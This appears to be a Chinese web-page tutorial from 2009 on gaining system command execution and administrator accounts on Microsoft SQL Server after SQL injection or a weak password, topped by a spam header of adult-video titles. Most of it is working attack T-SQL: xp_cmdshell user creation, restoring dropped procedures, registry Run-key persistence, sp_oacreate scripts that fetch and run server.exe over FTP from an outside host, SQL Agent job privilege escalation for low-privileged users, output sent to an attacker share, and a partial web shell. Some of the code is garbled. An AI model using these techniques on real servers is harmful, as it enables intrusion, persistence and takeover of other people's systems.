国产欧美日韩第一页|日本一二三不卡视频|在线精品小视频,亚洲第一免费播放区,metcn人体亚洲一区,亚洲精品午夜视频

MSSQL大講堂:如何在MSSQL執行命令

2009-11-13 13:48:58 3287

假設一臺主機開(kāi)了1433端口我們已通過(guò)SQL注入或是空弱密碼遠程連接

能有哪些辦法加一個(gè)系統管理員用戶(hù)呢(或是執行系統命令)

1).XP_CMDSHELL cmd.exe /c net user aaa bbb /add

人人都知道的辦法,最大的好處是有回顯,但是最怕

if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[xp_cmdshell]) and OBJECTPROPERTY(id, NIsExtendedProc) = 1)

exec sp_dropextendedproc N[dbo].[xp_cmdshell]

通過(guò)上面的T-SQL語(yǔ)句就可以把這個(gè)擴展儲存刪了

我們一般可以用

2k:

EXEC sp_addextendedproc xp_cmdshell ,@dllname =xplog70.dll

SQL97:

EXEC sp_addextendedproc xp_cmdshell ,@dllname =xpsql70.dll

就還原了.

但是有的人知道sp_addextendedproc也只不過(guò)是一個(gè)儲存過(guò)程一樣可以刪除的

Drop PROCEDURE sp_addextendedproc

if exists (select * from

dbo.sysobjects where id = object_id(N[dbo].[xp_cmdshell]) and

OBJECTPROPERTY(id, NIsExtendedProc) = 1)

exec sp_dropextendedproc N[dbo].[xp_cmdshell]

還原:

create procedure sp_addextendedproc --- 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */

@dllname varchar(255)/* name of DLL containing function */

as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,sp_addextendedproc)

return (1)

end

/*

** Create the extended procedure mapping.

*/

dbcc addextendedproc( @functname, @dllname)

return (0) -- sp_addextendedproc

呀呀寫(xiě)了這么多其實(shí)有個(gè)最簡(jiǎn)單的保護辦法:

先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)刪了

再把服務(wù)打開(kāi)就可以了

2)看了上面的你就明白了xp_cmdshell最終是可以被刪除的沒(méi)別的辦法了嗎?

有寫(xiě)注冊表三:

xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowscurrentversion un, czy82,REG_SZ, net user czy bb /add

其實(shí)注冊表還有好幾個(gè)地方可以寫(xiě)的比如說(shuō)注冊表中的WEB瀏覽設置

用寫(xiě)注冊表的辦法不好的地方是不但沒(méi)有回顯而且不能馬上運行實(shí)不實(shí)用我也不知道了

3)

declare @s int

exec sp_oacreate "wscript.shell",@s out

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:a.txt"

exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

對了正如你看到的我們還可以使用sp_oacreate和sp_oamethod在它們的作用下我們可以

調用系統的控件比如說(shuō)fso,wsh,shell什么的,但是有個(gè)問(wèn)題是并不能象xp_cmdshell那樣

馬上看到結果真的不能嗎看下面的:

declare @s int,@o int ,@f int,@str nvarchar(4000)

/*exec sp_oacreate "wscript.shell",@s out

exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c: emp.txt"*/

exec sp_oacreate "scripting.filesystemobject", @o out

exec sp_oamethod @o, "opentextfile", @f out,"c: emp.txt", 1

exec sp_oamethod @f, "readall",@str out

print @str

先執行注解內的然后執行外面的其實(shí)原理很簡(jiǎn)單就是利用>把結果寫(xiě)到一個(gè)文件中然后用

fso來(lái)讀出來(lái)!很實(shí)用的

4)

use msdb; --這兒不要是master喲

exec sp_add_job @job_name=czy82;

exec sp_add_jobstep @job_name=czy82,@step_name = Exec my sql,@subsystem=CMDEXEC,@command=dir c:>c:.txt;

exec sp_add_jobserver @job_name = czy82,@server_name = smscomputer;

exec sp_start_job @job_name=czy82;

利用MSSQL的作業(yè)處理也是可以執行命令的而且如果上面的subsystem的參數是tsql后面的我們就可以

執行tsql語(yǔ)句了.

對于這幾個(gè)儲存過(guò)程的使用第一在@server_name我們要指定你的sql的服務(wù)器名

第二系統的sqlserveragent服務(wù)必須打開(kāi)(默認沒(méi)打開(kāi)的氣人了吧)

net start SQLSERVERAGENT

對于這個(gè)東東還有一個(gè)地方不同就是public也可以執行..同這兒也是有系統洞洞的看下面的

USE msdb

EXEC sp_add_job @job_name = GetSystemOnSQL,

@enabled = 1,

@description = This will give a low privileged user access to

xp_cmdshell,

@delete_level = 1

EXEC sp_add_jobstep @job_name = GetSystemOnSQL,

@step_name = Exec my sql,

@subsystem = TSQL,

@command = exec master..xp_execresultset Nselect exec

master..xp_cmdshell "dir > c:agent-job-results.txt",NMaster

EXEC sp_add_jobserver @job_name = GetSystemOnSQL,

@server_name = 你的SQL的服務(wù)器名

EXEC sp_start_job @job_name = GetSystemOnSQL

不要懷疑上面的代碼我是測試成功了的!這兒我們要注意xp_execresultset就是因為它所以

才讓我們可以以public執行xp_cmdshell

5)關(guān)于Microsoft SQL Agent Jobs任意文件可刪除覆蓋漏洞(public用戶(hù)也可以)

在安焦有文章:http://www.tjdsmy.cn/vuln/vul_view.php?vul_id=2968

USE msdb

EXEC sp_add_job @job_name = ArbitraryFileCreate,

@enabled = 1,

@description = This will create a file called c:sqlafc123.txt,

@delete_level = 1

EXEC sp_add_jobstep @job_name = ArbitraryFileCreate,

@step_name = SQLA

FC,

@subsystem = TSQL,

@command = select hello, this file was created by the SQL Agent.,

@output_file_name = c:sqlafc123.txt

EXEC sp_add_jobserver @job_name = ArbitraryFileCreate,

@server_name = SERVER_NAME

EXEC sp_start_job @job_name = ArbitraryFileCreate

如果subsystem選的是:tsql在生成的文件的頭部有如下內容

??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19

----------------------------------------------

hello, this file was created by the SQL Agent.

(1 ?????)

所以我建議要生成文件最好subsystem選cmdexec,如果利用得好我們可以寫(xiě)一個(gè)有添加管理員

命令的vbs文件到啟動(dòng)目錄!

6)關(guān)于sp_makewebtask(可以寫(xiě)任意內容任意文件名的文件)

關(guān)于sp_MScopyscriptfile 看下面的例子

declare @command varchar(100)

declare @scripfile varchar(200)

set concat_null_yields_null off

select @command=dir c: > "\attackeripsharedir.txt"

select @scripfile=c:autoexec.bat > nul" | + @command + | rd "

exec sp_MScopyscriptfile @scripfile ,

這兩個(gè)東東都還在測試試喲

讓MSSQL的public用戶(hù)得到一個(gè)本機的web shell:)

sp_makewebtask @outputfile=d:smsa.asp,@charset=gb2312,

--@query=select

--@query=select

@query=select


" method="POST">

提交成功!非常感謝您的反饋,我們會(huì )繼續努力做到更好!

這條文檔是否有幫助解決問(wèn)題?

非常抱歉未能幫助到您。為了給您提供更好的服務(wù),我們很需要您進(jìn)一步的反饋信息:

在文檔使用中是否遇到以下問(wèn)題:
-->